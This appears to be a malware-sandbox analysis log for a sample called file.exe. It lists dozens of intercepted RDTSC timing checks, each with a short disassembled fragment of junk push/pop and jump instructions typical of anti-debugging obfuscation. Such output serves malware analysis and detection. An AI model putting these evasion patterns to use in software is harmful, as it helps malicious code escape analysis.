Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6B7B second address: 5A6B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6B81 second address: 5A6B8F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6B8F second address: 5A6B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6B94 second address: 5A6BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6BB6 second address: 5A6BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jng 00007FD4D8B12EE3h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4D8B12EC7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E7C3 second address: 59E810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FD4D8F455A6h 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007FD4D8F4559Fh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FD4D8F455A7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E810 second address: 59E81A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4C18 second address: 5C4C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FD4D8F45596h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4C28 second address: 5C4C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4D8B12EC7h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4C4A second address: 5C4C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4D81 second address: 5C4D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4D87 second address: 5C4D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4D8B second address: 5C4D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4EB4 second address: 5C4EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4EBD second address: 5C4ED6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5151 second address: 5C5164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5164 second address: 5C516C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C516C second address: 5C5170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5170 second address: 5C5174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5464 second address: 5C54AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FD4D8F455AFh 0x0000000b popad 0x0000000c push ebx 0x0000000d jnl 00007FD4D8F455AEh 0x00000013 jmp 00007FD4D8F455A8h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5772 second address: 5C578C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EC4h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C578C second address: 5C5790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5790 second address: 5C5796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5BA7 second address: 5C5BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007FD4D8F45596h 0x0000000c je 00007FD4D8F45596h 0x00000012 jmp 00007FD4D8F455A1h 0x00000017 popad 0x00000018 pop esi 0x00000019 pushad 0x0000001a je 00007FD4D8F4559Eh 0x00000020 jng 00007FD4D8F45596h 0x00000026 pushad 0x00000027 popad 0x00000028 push edi 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f jmp 00007FD4D8F455A3h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D80E second address: 58D814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5EDC second address: 5C5EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6B77 second address: 5C6B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6B7B second address: 5C6B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9F75 second address: 5C9FA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4D8B12EBBh 0x00000008 js 00007FD4D8B12EB6h 0x0000000e jnl 00007FD4D8B12EB6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 jnc 00007FD4D8B12EBCh 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE77A second address: 5CE77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE77E second address: 5CE792 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE792 second address: 5CE796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF75 second address: 5CCF7B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF7B second address: 5CCF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD4D8F45596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF85 second address: 5CCF89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF89 second address: 5CCFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4D8F455A3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE87A second address: 5CE888 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D23CB second address: 5D23DD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FD4D8F45598h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D23DD second address: 5D23E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594575 second address: 59459C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jmp 00007FD4D8F455A9h 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59459C second address: 5945A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007FD4D8B12ECCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1812 second address: 5D1816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1816 second address: 5D1830 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBCh 0x00000007 jc 00007FD4D8B12EB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1830 second address: 5D1838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1A96 second address: 5D1A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1A9C second address: 5D1AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1AA0 second address: 5D1AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D222B second address: 5D2237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2237 second address: 5D223D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D223D second address: 5D2247 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2247 second address: 5D224D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D224D second address: 5D2251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2251 second address: 5D2293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBCh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FD4D8B12EBCh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007FD4D8B12ED0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4FE0 second address: 5D5001 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D50AE second address: 5D50F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FD4D8B12EC5h 0x0000000c jmp 00007FD4D8B12EBFh 0x00000011 popad 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007FD4D8B12EBFh 0x0000001b pop eax 0x0000001c jmp 00007FD4D8B12EBCh 0x00000021 push 33F087ABh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push eax 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D50F6 second address: 5D50FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D54B6 second address: 5D54D9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FD4D8B12EBEh 0x00000012 jp 00007FD4D8B12EBCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D55A7 second address: 5D55C1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4D8F4559Ch 0x00000008 jbe 00007FD4D8F45596h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FD4D8F45596h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D56D9 second address: 5D56DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5814 second address: 5D5819 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58CC second address: 5D58D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5D97 second address: 5D5D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5E46 second address: 5D5E67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], ebx 0x0000000a jmp 00007FD4D8B12EC1h 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5E67 second address: 5D5E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5E6E second address: 5D5E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD4D8B12EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5E78 second address: 5D5E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4D8F4559Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6111 second address: 5D6116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6116 second address: 5D612D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4D8F4559Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D612D second address: 5D6133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D61CB second address: 5D61D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D69B6 second address: 5D69E8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FD4D8B12EC0h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4D8B12EC3h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7405 second address: 5D7410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7410 second address: 5D7415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8451 second address: 5D8456 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8456 second address: 5D84AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD4D8B12EB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 pushad 0x00000011 or ecx, 218C7AECh 0x00000017 mov ebx, ecx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c jns 00007FD4D8B12EBEh 0x00000022 jns 00007FD4D8B12EB8h 0x00000028 mov esi, eax 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d pushad 0x0000002e or edi, dword ptr [ebp+122D2CB4h] 0x00000034 mov dl, 62h 0x00000036 popad 0x00000037 pop esi 0x00000038 push eax 0x00000039 jc 00007FD4D8B12EE9h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FD4D8B12EC7h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8E96 second address: 5D8EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8F455A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7BE0 second address: 5D7BF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4D8B12EC1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA489 second address: 5DA48F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBF76 second address: 5DBF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBF7C second address: 5DBF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBF85 second address: 5DBF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EBFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBF98 second address: 5DBF9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBF9C second address: 5DBFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC613 second address: 5DC619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD0C6 second address: 5DD142 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007FD4D8B12EC7h 0x00000010 pop edi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FD4D8B12EB8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e add dword ptr [ebp+122D1C3Ah], esi 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D346Ah] 0x0000003c pushad 0x0000003d mov cx, 4371h 0x00000041 push edi 0x00000042 mov dword ptr [ebp+122D2C1Ch], eax 0x00000048 pop esi 0x00000049 popad 0x0000004a push eax 0x0000004b push edi 0x0000004c push eax 0x0000004d push edx 0x0000004e jnc 00007FD4D8B12EB6h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFDE0 second address: 5DFDFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4D8F455A1h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0E65 second address: 5E0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0E69 second address: 5E0E6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E54F4 second address: 5E5511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EC8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5511 second address: 5E5517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5517 second address: 5E551B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E551B second address: 5E5532 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FD4D8F455A4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FD4D8F45596h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6596 second address: 5E659B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DACEB second address: 5DACF0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
